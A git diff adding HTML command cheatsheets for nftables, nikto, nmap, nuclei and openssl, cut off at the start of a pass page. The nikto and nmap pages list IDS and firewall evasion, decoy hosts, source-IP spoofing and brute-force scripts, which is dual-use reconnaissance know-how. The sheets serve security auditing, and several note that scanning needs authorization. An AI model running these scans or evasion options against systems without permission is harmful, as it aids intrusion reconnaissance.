      +nft add chain inet filter forward { type filter hook forward priority 0 \; policy drop \; }
      +

      Delete Chain

      +
      nft delete chain inet filter input
      +
      +

      Adding Rules

      +
        +
      • nft add rule <family> <table> <chain> <rule> - Append rule
      • +
      +
        +
      • nft insert rule <family> <table> <chain> <rule> - Insert at beginning
      • +
      +
        +
      • nft add rule <family> <table> <chain> position <handle> <rule> - Add after handle
      • +
      +
        +
      • nft delete rule <family> <table> <chain> handle <handle> - Delete by handle
      • +
      +
      +

      Rule Matching

      +

      Interface Matching

      +
        +
      • iifname "eth0" - Input interface name
      • +
      +
        +
      • oifname "eth0" - Output interface name
      • +
      +
        +
      • iif eth0 - Input interface (faster, index-based)
      • +
      +
        +
      • oif eth0 - Output interface (faster, index-based)
      • +
      +

      Address Matching

      +
        +
      • ip saddr 192.168.1.0/24 - Source IPv4 address
      • +
      +
        +
      • ip daddr 10.0.0.1 - Destination IPv4 address
      • +
      +
        +
      • ip6 saddr fe80::/10 - Source IPv6 address
      • +
      +
        +
      • ip6 daddr ::1 - Destination IPv6 address
      • +
      +

      Protocol Matching

      +
        +
      • ip protocol tcp - TCP protocol
      • +
      +
        +
      • ip protocol udp - UDP protocol
      • +
      +
        +
      • ip protocol icmp - ICMP protocol
      • +
      +
        +
      • meta l4proto tcp - Layer 4 protocol (works with inet)
      • +
      +

      Port Matching

      +
        +
      • tcp sport 22 - TCP source port
      • +
      +
        +
      • tcp dport 80 - TCP destination port
      • +
      +
        +
      • udp dport 53 - UDP destination port
      • +
      +
        +
      • tcp dport { 22, 80, 443 } - Multiple ports
      • +
      +
        +
      • tcp dport 1024-65535 - Port range
      • +
      +
      +

      Verdicts (Actions)

      +
        +
      • accept - Accept the packet
      • +
      +
        +
      • drop - Drop silently
      • +
      +
        +
      • reject - Reject with error
      • +
      +
        +
      • queue - Send to userspace
      • +
      +
        +
      • continue - Continue rule processing
      • +
      +
        +
      • return - Return to calling chain
      • +
      +
        +
      • jump <chain> - Jump to another chain
      • +
      +
        +
      • goto <chain> - Go to chain without returning
      • +
      +
      +

      Connection Tracking

      +
        +
      • ct state new - New connections
      • +
      +
        +
      • ct state established - Established connections
      • +
      +
        +
      • ct state related - Related connections
      • +
      +
        +
      • ct state invalid - Invalid packets
      • +
      +
        +
      • ct state { established, related } - Multiple states
      • +
      +
      +

      Common Examples

      +

      Allow SSH

      +
      nft add rule inet filter input tcp dport 22 accept
      +

      Allow Established Connections

      +
      nft add rule inet filter input ct state established,related accept
      +

      Block IP Address

      +
      nft add rule inet filter input ip saddr 192.168.1.100 drop
      +

      Allow HTTP/HTTPS

      +
      nft add rule inet filter input tcp dport { 80, 443 } accept
      +

      Allow Loopback

      +
      nft add rule inet filter input iifname "lo" accept
      +

      Log and Drop

      +
      nft add rule inet filter input log prefix "nftables-dropped: " drop
      +
      +

      NAT Configuration

      +

      Masquerading (SNAT)

      +
      nft add table ip nat
      +nft add chain ip nat postrouting { type nat hook postrouting priority 100 \; }
      +nft add rule ip nat postrouting oifname "eth0" masquerade
      +

      Port Forwarding (DNAT)

      +
      nft add chain ip nat prerouting { type nat hook prerouting priority -100 \; }
      +nft add rule ip nat prerouting iifname "eth0" tcp dport 8080 dnat to 192.168.1.10:80
      +
      +

      Complete Firewall Example

      +
      #!/usr/sbin/nft -f
      +
      +flush ruleset
      +
      +table inet filter {
      +    chain input {
      +        type filter hook input priority 0; policy drop;
      +        
      +        # Allow loopback
      +        iifname "lo" accept
      +        
      +        # Allow established/related
      +        ct state established,related accept
      +        
      +        # Drop invalid
      +        ct state invalid drop
      +        
      +        # Allow ICMP
      +        ip protocol icmp accept
      +        ip6 nexthdr icmpv6 accept
      +        
      +        # Allow SSH
      +        tcp dport 22 accept
      +        
      +        # Allow HTTP/HTTPS
      +        tcp dport { 80, 443 } accept
      +    }
      +    
      +    chain forward {
      +        type filter hook forward priority 0; policy drop;
      +    }
      +    
      +    chain output {
      +        type filter hook output priority 0; policy accept;
      +    }
      +}
      +
      +

      Sets and Maps

      +

      Named Set

      +
      nft add set inet filter allowed_ips { type ipv4_addr \; }
      +nft add element inet filter allowed_ips { 192.168.1.1, 192.168.1.2 }
      +nft add rule inet filter input ip saddr @allowed_ips accept
      +

      Anonymous Set

      +
      nft add rule inet filter input ip saddr { 192.168.1.1, 192.168.1.2 } accept
      +

      Port Set

      +
      nft add set inet filter allowed_ports { type inet_service \; }
      +nft add element inet filter allowed_ports { 22, 80, 443 }
      +nft add rule inet filter input tcp dport @allowed_ports accept
      +
      +

      Rate Limiting

      +
      # Limit to 10 packets per second
      +nft add rule inet filter input tcp dport 22 limit rate 10/second accept
      +
      +# Limit with burst
      +nft add rule inet filter input tcp dport 22 limit rate over 10/second burst 5 packets drop
      +
      +

      Saving and Loading

      +
        +
      • nft list ruleset > /etc/nftables.conf - Save rules
      • +
      +
        +
      • nft -f /etc/nftables.conf - Load rules from file
      • +
      +
        +
      • systemctl enable nftables - Enable at boot
      • +
      +
        +
      • systemctl start nftables - Start nftables service
      • +
      +
      +

      Migration from iptables

      +
        +
      • iptables-translate - Convert iptables rule to nft syntax
      • +
      +
        +
      • iptables-restore-translate - Convert iptables-save output to nft
      • +
      +
        +
      • iptables-nft - iptables compatibility layer using nftables backend
      • +
      +
      # Translate a single rule
      +iptables-translate -A INPUT -p tcp --dport 22 -j ACCEPT
      +
      +# Translate saved rules
      +iptables-save | iptables-restore-translate
      +
      +

      Tips

      +
        +
      • Use inet family for combined IPv4/IPv6 rules
      • +
      +
        +
      • Use sets for multiple addresses or ports (more efficient)
      • +
      +
        +
      • Use iifname/oifname for dynamic interfaces, iif/oif for static
      • +
      +
        +
      • Chain priority determines order (lower = earlier)
      • +
      +
        +
      • Use handles (-a flag) to identify rules for deletion
      • +
      +
        +
      • nft monitor is useful for debugging rule changes
      • +
      +
        +
      • Put rules in /etc/nftables.conf for persistence
      • +
      +
        +
      • Use flush ruleset carefully - it removes everything
      • +
      +
        +
      • Escape semicolons with backslash in shell commands
      • +
      +
        +
      • nftables is the future - iptables is in maintenance mode
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + \ No newline at end of file diff --git a/cheatsheets/nikto.html b/cheatsheets/nikto.html new file mode 100644 index 0000000..06b35bc --- /dev/null +++ b/cheatsheets/nikto.html @@ -0,0 +1,264 @@ + + + + + + + + + + + nikto Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      nikto Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      Nikto is an open source web server scanner that performs comprehensive tests against web servers for multiple items, including over 6700 potentially dangerous files/programs, outdated versions, and version-specific problems.

      +
      +

      Basic Usage

      +
        +
      • nikto -h <host> - Basic scan
      • +
      +
        +
      • nikto -h http://example.com - Scan with protocol
      • +
      +
        +
      • nikto -h 192.168.1.1 -p 8080 - Scan specific port
      • +
      +
      +

      Target Options

      +
        +
      • -h, -host - Target host
      • +
      +
        +
      • -p, -port - Target port (default 80)
      • +
      +
        +
      • -ssl - Force SSL mode
      • +
      +
        +
      • -nossl - Disable SSL
      • +
      +
        +
      • -vhost - Virtual host
      • +
      +
        +
      • -root - Prepend path to all requests
      • +
      +
      +

      Scan Options

      +
        +
      • -Tuning <x> - Scan tuning (see below)
      • +
      +
        +
      • -Plugins <plugins> - Select plugins
      • +
      +
        +
      • -list-plugins - List available plugins
      • +
      +
        +
      • -update - Update databases and plugins
      • +
      +
        +
      • -dbcheck - Check database syntax
      • +
      +
      +

      Tuning Options

      +

      Use with -Tuning flag:

      +
        +
      • 0 - File upload
      • +
      • 1 - Interesting file/log
      • +
      • 2 - Misconfiguration/default file
      • +
      • 3 - Information disclosure
      • +
      • 4 - Injection (XSS/Script/HTML)
      • +
      • 5 - Remote file retrieval (inside root)
      • +
      • 6 - Denial of service
      • +
      • 7 - Remote file retrieval (server wide)
      • +
      • 8 - Command execution/remote shell
      • +
      • 9 - SQL injection
      • +
      • a - Authentication bypass
      • +
      • b - Software identification
      • +
      • c - Remote source inclusion
      • +
      • x - Reverse tuning (exclude)
      • +
      +
      +

      Output Options

      +
        +
      • -o, -output - Output file
      • +
      +
        +
      • -Format <format> - Output format (csv, htm, txt, xml, json)
      • +
      +
        +
      • -Display <option> - Display options
      • +
      +
        +
      • -nointeractive - Disable interactive features
      • +
      +

      Display Options

      +
        +
      • 1 - Show redirects
      • +
      • 2 - Show cookies
      • +
      • 3 - Show 200/OK responses
      • +
      • 4 - Show URLs requiring auth
      • +
      • D - Debug output
      • +
      • E - HTTP errors
      • +
      • P - Print progress
      • +
      • V - Verbose
      • +
      +
      +

      Authentication

      +
        +
      • -id user:pass - HTTP basic auth
      • +
      +
        +
      • -id user:pass:realm - Auth with realm
      • +
      +
      +

      Evasion Techniques

      +
        +
      • -evasion <technique> - IDS evasion
      • +
      +

      Evasion Options

      +
        +
      • 1 - Random URI encoding
      • +
      • 2 - Directory self-reference (/./)
      • +
      • 3 - Premature URL ending
      • +
      • 4 - Long random string
      • +
      • 5 - Fake parameter
      • +
      • 6 - TAB as request spacer
      • +
      • 7 - Random case sensitivity
      • +
      • 8 - Windows directory separator (\)
      • +
      • A - Use carriage return
      • +
      • B - Use binary value 0x0b
      • +
      +
      +

      Proxy Options

      +
        +
      • -useproxy - Use proxy from config
      • +
      +
        +
      • -useproxy http://proxy:port - Use specific proxy
      • +
      +
      +

      Performance

      +
        +
      • -timeout - Request timeout (default 10)
      • +
      +
        +
      • -Pause - Pause between tests
      • +
      +
        +
      • -maxtime - Max scan time per host
      • +
      +
        +
      • -until - Run until specific time
      • +
      +
      +

      Common Examples

      +

      Basic Scan

      +
      nikto -h example.com
      +

      Standard vulnerability scan.

      +

      SSL Scan

      +
      nikto -h example.com -ssl
      +

      Scan HTTPS site.

      +

      Multiple Ports

      +
      nikto -h example.com -p 80,443,8080
      +

      Scan multiple ports.

      +

      Save Report

      +
      nikto -h example.com -o report.html -Format htm
      +

      Generate HTML report.

      +

      Specific Tests

      +
      nikto -h example.com -Tuning 9
      +

      SQL injection tests only.

      +

      Exclude Tests

      +
      nikto -h example.com -Tuning x6
      +

      Skip DoS tests.

      +

      With Authentication

      +
      nikto -h example.com -id admin:password
      +

      Scan with HTTP basic auth.

      +

      Evasion Mode

      +
      nikto -h example.com -evasion 1,2,7
      +

      Use evasion techniques.

      +

      Full Verbose Scan

      +
      nikto -h example.com -Display V -o full_scan.txt
      +

      Verbose output with log.

      +
      +

      Configuration

      +

      Config File

      +
        +
      • /etc/nikto.conf - System config
      • +
      • nikto.conf - Local config
      • +
      +

      Update Databases

      +
      nikto -update
      +
      +

      Tips

      +
        +
      • Run -update regularly for latest tests
      • +
      +
        +
      • Use -Tuning to focus on specific vulnerability types
      • +
      +
        +
      • Nikto is noisy - it will be detected by IDS
      • +
      +
        +
      • Use -evasion for basic IDS evasion
      • +
      +
        +
      • Combine with other tools like nmap and dirb
      • +
      +
        +
      • HTML reports are good for documentation
      • +
      +
        +
      • Some tests can be harmful - use -Tuning x6 to skip DoS
      • +
      +
        +
      • Always get authorization before scanning
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + diff --git a/cheatsheets/nmap.html b/cheatsheets/nmap.html new file mode 100644 index 0000000..c30dee3 --- /dev/null +++ b/cheatsheets/nmap.html @@ -0,0 +1,372 @@ + + + + + + + + + + + nmap Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +/ \ / \_ _____/\______ \/ _____/| \__ ___/\_ _____/ +\ \/\/ /| __)_ | | _/\_____ \ | | | | | __)_ + \ / | \ | | \/ \| | | | | \ + \__/\ / /_______ / |______ /_______ /|___| |____| /_______ / + \/ \/ \/ \/ \/ + +
      +
      +
      + + + +

      nmap Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      nmap (Network Mapper) is a network scanning and discovery tool. Used for security auditing, network inventory, and finding open ports and services.

      +
      +

      Basic Scans

      +
        +
      • nmap <target> - Basic TCP port scan
      • +
      +
        +
      • nmap -sP <target> - Ping scan (host discovery only)
      • +
      +
        +
      • nmap -sn <target> - Ping scan without port scan
      • +
      +
        +
      • nmap -p <port> <target> - Scan specific port
      • +
      +
        +
      • nmap -p- <target> - Scan all ports (1-65535)
      • +
      +
        +
      • nmap -p 80,443,8080 <target> - Scan specific ports
      • +
      +
        +
      • nmap -p 1-1000 <target> - Scan port range
      • +
      +
      +

      Scan Types

      +
        +
      • nmap -sS <target> - TCP SYN scan (stealth scan)
      • +
      +
        +
      • nmap -sT <target> - TCP connect scan (default)
      • +
      +
        +
      • nmap -sU <target> - UDP scan
      • +
      +
        +
      • nmap -sA <target> - TCP ACK scan
      • +
      +
        +
      • nmap -sN <target> - TCP NULL scan
      • +
      +
        +
      • nmap -sF <target> - TCP FIN scan
      • +
      +
        +
      • nmap -sX <target> - TCP Xmas scan
      • +
      +
        +
      • nmap -sW <target> - TCP Window scan
      • +
      +
        +
      • nmap -sM <target> - TCP Maimon scan
      • +
      +
      +

      Timing and Performance

      +
        +
      • nmap -T0 <target> - Paranoid (slowest, most stealth)
      • +
      +
        +
      • nmap -T1 <target> - Sneaky
      • +
      +
        +
      • nmap -T2 <target> - Polite
      • +
      +
        +
      • nmap -T3 <target> - Normal (default)
      • +
      +
        +
      • nmap -T4 <target> - Aggressive
      • +
      +
        +
      • nmap -T5 <target> - Insane (fastest)
      • +
      +
        +
      • nmap --min-rate <rate> <target> - Minimum packet rate
      • +
      +
        +
      • nmap --max-rate <rate> <target> - Maximum packet rate
      • +
      +
      +

      Host Discovery

      +
        +
      • nmap -sn <target> - Ping scan (no port scan)
      • +
      +
        +
      • nmap -Pn <target> - Skip host discovery (assume host is up)
      • +
      +
        +
      • nmap -PS <port> <target> - TCP SYN ping
      • +
      +
        +
      • nmap -PA <port> <target> - TCP ACK ping
      • +
      +
        +
      • nmap -PU <port> <target> - UDP ping
      • +
      +
        +
      • nmap -PE <target> - ICMP echo ping
      • +
      +
        +
      • nmap -PP <target> - ICMP timestamp ping
      • +
      +
        +
      • nmap -PR <target> - ARP ping (local network)
      • +
      +
      +

      Service and Version Detection

      +
        +
      • nmap -sV <target> - Version detection
      • +
      +
        +
      • nmap -sV --version-intensity <0-9> <target> - Version intensity
      • +
      +
        +
      • nmap -sC <target> - Default scripts (safe)
      • +
      +
        +
      • nmap --script <script> <target> - Run specific script
      • +
      +
        +
      • nmap --script-updatedb - Update script database
      • +
      +
        +
      • nmap --script-help <script> - Script help
      • +
      +
      +

      Operating System Detection

      +
        +
      • nmap -O <target> - OS detection
      • +
      +
        +
      • nmap -O --osscan-guess <target> - Aggressive OS detection
      • +
      +
        +
      • nmap -A <target> - Aggressive scan (OS, version, script, traceroute)
      • +
      +
      +

      Output Options

      +
        +
      • nmap -oN <file> <target> - Normal output to file
      • +
      +
        +
      • nmap -oX <file> <target> - XML output to file
      • +
      +
        +
      • nmap -oS <file> <target> - Script kiddie output
      • +
      +
        +
      • nmap -oG <file> <target> - Grepable output
      • +
      +
        +
      • nmap -oA <basename> <target> - All formats (normal, XML, grepable)
      • +
      +
        +
      • nmap -v <target> - Verbose output
      • +
      +
        +
      • nmap -vv <target> - Very verbose output
      • +
      +
        +
      • nmap -d <target> - Debug output
      • +
      +
        +
      • nmap -dd <target> - More debug output
      • +
      +
      +

      Common Scan Scripts

      +
        +
      • nmap --script vuln <target> - Vulnerability scripts
      • +
      +
        +
      • nmap --script auth <target> - Authentication scripts
      • +
      +
        +
      • nmap --script brute <target> - Brute force scripts
      • +
      +
        +
      • nmap --script discovery <target> - Discovery scripts
      • +
      +
        +
      • nmap --script dos <target> - Denial of service scripts
      • +
      +
        +
      • nmap --script exploit <target> - Exploit scripts
      • +
      +
        +
      • nmap --script safe <target> - Safe scripts (default)
      • +
      +
        +
      • nmap --script http-enum <target> - HTTP enumeration
      • +
      +
        +
      • nmap --script ssh-brute <target> - SSH brute force
      • +
      +
      +

      Useful Scan Examples

      +

      Quick Scan

      +
      nmap -sn 192.168.1.0/24
      +

      Ping scan of local network.

      +

      Comprehensive Scan

      +
      nmap -sS -sV -O -A -p- <target>
      +

      Stealth scan with version detection, OS detection, and all ports.

      +

      Fast Scan

      +
      nmap -F -T4 <target>
      +

      Fast scan of top 100 ports.

      +

      Stealth Scan

      +
      nmap -sS -T2 <target>
      +

      Slower SYN scan to avoid detection.

      +

      Service Detection

      +
      nmap -sV -p 80,443,8080 <target>
      +

      Version detection on common web ports.

      +
      +

      Target Specification

      +
        +
      • nmap 192.168.1.1 - Single IP
      • +
      +
        +
      • nmap 192.168.1.1-100 - IP range
      • +
      +
        +
      • nmap 192.168.1.0/24 - CIDR notation
      • +
      +
        +
      • nmap -iL <file> - Target list from file
      • +
      +
        +
      • nmap example.com - Hostname
      • +
      +
        +
      • nmap 192.168.1.1 192.168.1.2 - Multiple targets
      • +
      +
      +

      Firewall Evasion

      +
        +
      • nmap -f <target> - Fragment packets
      • +
      +
        +
      • nmap -D <decoy1,decoy2> <target> - Use decoy hosts
      • +
      +
        +
      • nmap -S <source_ip> <target> - Spoof source IP
      • +
      +
        +
      • nmap -e <interface> <target> - Use specific interface
      • +
      +
        +
      • nmap -g <port> <target> - Use source port
      • +
      +
        +
      • nmap --proxies <proxy> <target> - Use proxy
      • +
      +
        +
      • nmap --data-length <num> <target> - Add random data
      • +
      +
      +

      Configuration

      +

      Config File Location

      +
        +
      • `~/.nmaprc` - User configuration file
      • +
      +
        +
      • `/etc/nmap/nmap.conf` - System configuration file
      • +
      +

      Example Configuration

      +
      # Default scan type
      +-oA /tmp/nmap-scan
      +# Default port list
      +--top-ports 1000
      +
      +

      Tips

      +
        +
      • Use -sS (SYN scan) for stealth when possible (requires root)
      • +
      +
        +
      • Use -T4 for faster scans on trusted networks
      • +
      +
        +
      • Use -sV to identify services and versions
      • +
      +
        +
      • Use --script for automated vulnerability checks
      • +
      +
        +
      • Use -oA to save results in multiple formats
      • +
      +
        +
      • Always use nmap responsibly and only on networks you own/have permission
      • +
      +
        +
      • Use -sn for quick host discovery without port scanning
      • +
      +
        +
      • Use -p to target specific ports (saves time)
      • +
      +
        +
      • Use CIDR notation for network scanning: 192.168.1.0/24
      • +
      +
        +
      • Save output with -oA for later analysis
      • +
      +
        +
      • Combine scan options: -sS -sV -O for comprehensive scan
      • +
      +
        +
      • Use --script-help to learn about available scripts
      • +
      +
        +
      • Be aware of scan timing (T0-T5) to avoid detection or overload
      • +
      +
        +
      • Use -Pn when hosts block ping
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + \ No newline at end of file diff --git a/cheatsheets/nuclei.html b/cheatsheets/nuclei.html new file mode 100644 index 0000000..e8de140 --- /dev/null +++ b/cheatsheets/nuclei.html @@ -0,0 +1,287 @@ + + + + + + + + + + + nuclei Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      nuclei Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      Nuclei is a fast, template-based vulnerability scanner by ProjectDiscovery. It uses YAML templates to define scanning logic, making it highly customizable and community-driven.

      +
      +

      Basic Usage

      +
        +
      • nuclei -u <url> - Scan single URL
      • +
      +
        +
      • nuclei -l urls.txt - Scan from file
      • +
      +
        +
      • nuclei -u <url> -t <template> - Use specific template
      • +
      +
      +

      Target Options

      +
        +
      • -u, -target - Target URL
      • +
      +
        +
      • -l, -list - File with list of targets
      • +
      +
        +
      • -resume - Resume scan using resume.cfg
      • +
      +
      +

      Template Options

      +
        +
      • -t, -templates - Template files/directories
      • +
      +
        +
      • -tl - List available templates
      • +
      +
        +
      • -nt, -new-templates - Run newly added templates
      • +
      +
        +
      • -ntv, -new-templates-version - Run templates from specific version
      • +
      +
        +
      • -as, -automatic-scan - Automatic web scan with wappalyzer
      • +
      +
      +

      Filtering Templates

      +
        +
      • -tags <tags> - Filter by tags (comma separated)
      • +
      +
        +
      • -etags <tags> - Exclude tags
      • +
      +
        +
      • -itags <tags> - Include only specific tags
      • +
      +
        +
      • -s, -severity <level> - Filter by severity
      • +
      +
        +
      • -es, -exclude-severity - Exclude severity levels
      • +
      +
        +
      • -author <author> - Filter by author
      • +
      +
        +
      • -type <type> - Filter by protocol type
      • +
      +

      Severity Levels

      +
        +
      • info - Informational
      • +
      • low - Low severity
      • +
      • medium - Medium severity
      • +
      • high - High severity
      • +
      • critical - Critical severity
      • +
      +
      +

      Output Options

      +
        +
      • -o, -output - Output file
      • +
      +
        +
      • -j, -json - JSON output
      • +
      +
        +
      • -irr - Include request/response in output
      • +
      +
        +
      • -nc, -no-color - Disable colors
      • +
      +
        +
      • -silent - Silent mode (only results)
      • +
      +
        +
      • -v, -verbose - Verbose output
      • +
      +
        +
      • -debug - Debug output
      • +
      +
      +

      Rate Limiting

      +
        +
      • -rl, -rate-limit - Requests per second (default 150)
      • +
      +
        +
      • -rlm, -rate-limit-minute - Requests per minute
      • +
      +
        +
      • -bs, -bulk-size - Parallel hosts (default 25)
      • +
      +
        +
      • -c, -concurrency - Parallel templates (default 25)
      • +
      +
      +

      Configuration

      +
        +
      • -config - Config file path
      • +
      +
        +
      • -H, -header - Custom headers
      • +
      +
        +
      • -V, -var - Custom variables key=value
      • +
      +
        +
      • -sr, -store-resp - Store responses
      • +
      +
        +
      • -srd, -store-resp-dir - Response storage directory
      • +
      +
      +

      Proxy Options

      +
        +
      • -proxy - HTTP proxy
      • +
      +
        +
      • -proxy-socks-url - SOCKS proxy
      • +
      +
        +
      • -proxy-auth - Proxy authentication
      • +
      +
      +

      Update Options

      +
        +
      • -update - Update nuclei
      • +
      +
        +
      • -ut, -update-templates - Update templates
      • +
      +
        +
      • -ud, -update-directory - Update template directory
      • +
      +
      +

      Common Examples

      +

      Basic Scan

      +
      nuclei -u https://example.com
      +

      Run all templates against target.

      +

      Specific Template

      +
      nuclei -u https://example.com -t cves/2021/
      +

      Run 2021 CVE templates.

      +

      By Severity

      +
      nuclei -u https://example.com -s critical,high
      +

      Only critical and high severity.

      +

      By Tags

      +
      nuclei -u https://example.com -tags cve,rce
      +

      Filter by CVE and RCE tags.

      +

      Multiple Targets

      +
      nuclei -l urls.txt -o results.txt
      +

      Scan list, save results.

      +

      JSON Output

      +
      nuclei -u https://example.com -j -o results.json
      +

      Output in JSON format.

      +

      With Custom Headers

      +
      nuclei -u https://example.com -H "Authorization: Bearer token"
      +

      Scan with auth header.

      +

      Rate Limited

      +
      nuclei -u https://example.com -rl 50
      +

      Limit to 50 requests per second.

      +

      Automatic Scan

      +
      nuclei -u https://example.com -as
      +

      Auto-detect technologies and scan.

      +

      New Templates Only

      +
      nuclei -u https://example.com -nt
      +

      Run only recently added templates.

      +
      +

      Common Tags

      +
        +
      • cve - CVE vulnerabilities
      • +
      • rce - Remote code execution
      • +
      • lfi - Local file inclusion
      • +
      • sqli - SQL injection
      • +
      • xss - Cross-site scripting
      • +
      • ssrf - Server-side request forgery
      • +
      • exposure - Sensitive data exposure
      • +
      • tech - Technology detection
      • +
      • misconfig - Misconfigurations
      • +
      • takeover - Subdomain takeover
      • +
      +
      +

      Template Locations

      +
        +
      • ~/nuclei-templates/ - Default templates directory
      • +
      • Custom templates can be specified with -t flag
      • +
      +
      +

      Tips

      +
        +
      • Run -update-templates regularly for new checks
      • +
      +
        +
      • Use -as for smart automatic scanning
      • +
      +
        +
      • Filter by severity to focus on critical issues
      • +
      +
        +
      • Combine with subfinder and httpx for full recon
      • +
      +
        +
      • Write custom templates for specific checks
      • +
      +
        +
      • Use -silent for clean output in pipelines
      • +
      +
        +
      • Store responses with -sr for later analysis
      • +
      +
        +
      • Part of ProjectDiscovery toolkit
      • +
      +
        +
      • Always get authorization before scanning
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + diff --git a/cheatsheets/openssl.html b/cheatsheets/openssl.html new file mode 100644 index 0000000..13cf3bb --- /dev/null +++ b/cheatsheets/openssl.html @@ -0,0 +1,170 @@ + + + + + + + + + + + openssl Cheatsheet - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      openssl Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      OpenSSL is a cryptography toolkit providing implementations of SSL/TLS protocols and various cryptographic algorithms. Essential for certificate management, encryption, and secure communications.

      +
      +

      Hashes

      +
        +
      • openssl dgst -sha256 file.txt - Calculate SHA-256 hash
      • +
      +
        +
      • openssl dgst -md5 file.txt - Calculate MD5 hash
      • +
      +
        +
      • openssl dgst -sha512 file.txt - Calculate SHA-512 hash
      • +
      +
        +
      • echo -n "text" | openssl dgst -sha256 - Hash from stdin
      • +
      +
      +

      Base64 Encoding

      +
        +
      • openssl base64 -in file.txt - Base64 encode
      • +
      +
        +
      • openssl base64 -d -in encoded.txt - Base64 decode
      • +
      +
        +
      • echo "text" | openssl base64 - Encode from stdin
      • +
      +
      +

      Certificate Management

      +
        +
      • openssl x509 -in cert.pem -text -noout - View certificate details
      • +
      +
        +
      • openssl x509 -in cert.pem -dates -noout - Show validity dates
      • +
      +
        +
      • openssl x509 -in cert.pem -fingerprint -noout - Show fingerprint
      • +
      +
        +
      • openssl req -new -x509 -key key.pem -out cert.pem -days 365 - Generate self-signed cert
      • +
      +
      +

      Key Generation

      +
        +
      • openssl genrsa -out key.pem 2048 - Generate RSA private key (2048 bits)
      • +
      +
        +
      • openssl genrsa -out key.pem 4096 - Generate RSA private key (4096 bits)
      • +
      +
        +
      • openssl ecparam -genkey -name secp256r1 -out key.pem - Generate EC private key
      • +
      +
        +
      • openssl rsa -in key.pem -pubout -out pubkey.pem - Extract public key
      • +
      +
      +

      Encryption/Decryption

      +
        +
      • openssl enc -aes-256-cbc -salt -in file.txt -out file.enc - Encrypt file
      • +
      +
        +
      • openssl enc -aes-256-cbc -d -in file.enc -out file.txt - Decrypt file
      • +
      +
        +
      • openssl enc -aes-256-gcm -in file.txt -out file.enc - Encrypt with GCM
      • +
      +
      +

      SSL/TLS Testing

      +
        +
      • openssl s_client -connect host:443 - Connect to SSL server
      • +
      +
        +
      • openssl s_client -connect host:443 -showcerts - Show certificate chain
      • +
      +
        +
      • openssl s_client -connect host:443 -servername example.com - SNI support
      • +
      +
      +

      Common Examples

      +

      Calculate Hash

      +
      openssl dgst -sha256 file.iso
      +

      Calculate SHA-256 hash of file.

      +

      View Certificate

      +
      openssl x509 -in cert.pem -text -noout
      +

      Display certificate information.

      +

      Generate Self-Signed Certificate

      +
      openssl req -new -x509 -key key.pem -out cert.pem -days 365
      +

      Create self-signed certificate valid for 1 year.

      +

      Encrypt File

      +
      openssl enc -aes-256-cbc -salt -in secret.txt -out secret.enc
      +

      Encrypt file with AES-256-CBC.

      +

      Test SSL Connection

      +
      openssl s_client -connect example.com:443
      +

      Test SSL/TLS connection to server.

      +
      +

      Tips

      +
        +
      • Use modern algorithms (AES-256-GCM, SHA-256, ECDSA)
      • +
      +
        +
      • Always use -salt for encryption (default in newer versions)
      • +
      +
        +
      • RSA 2048-bit minimum, prefer 4096 for long-term keys
      • +
      +
        +
      • EC keys are smaller and faster than RSA
      • +
      +
        +
      • Use s_client to debug SSL/TLS connections
      • +
      +
        +
      • Check certificate expiration dates regularly
      • +
      +
      +
      +
      +
      + + + + + diff --git a/cheatsheets/pass.html b/cheatsheets/pass.html new file mode 100644 index 0000000..712eafd --- /dev/null +++ b/cheatsheets/pass.html @@ -0,0 +1,180 @@ + + + + + + + + + + + pass Cheatsheet - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      pass Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      pass is the standard unix password manager. It stores passwords in GPG-encrypted files organized in a directory tree. Simple, secure, and works with git for syncing.

      +
      +

      Initialization

      +
        +
      • pass init <gpg-id> - Initialize password store with GPG key
      • +
      +
        +
      • pass git init - Initialize git repository in password store
      • +
      +
        +
      • ~/.password-store/ - Default password store location
      • +
      +
      +

      Basic Operations

      +
        +
      • pass - Show list of passwords
      • +
      +
        +
      • pass <entry> - Show password for entry
      • +
      +
        +
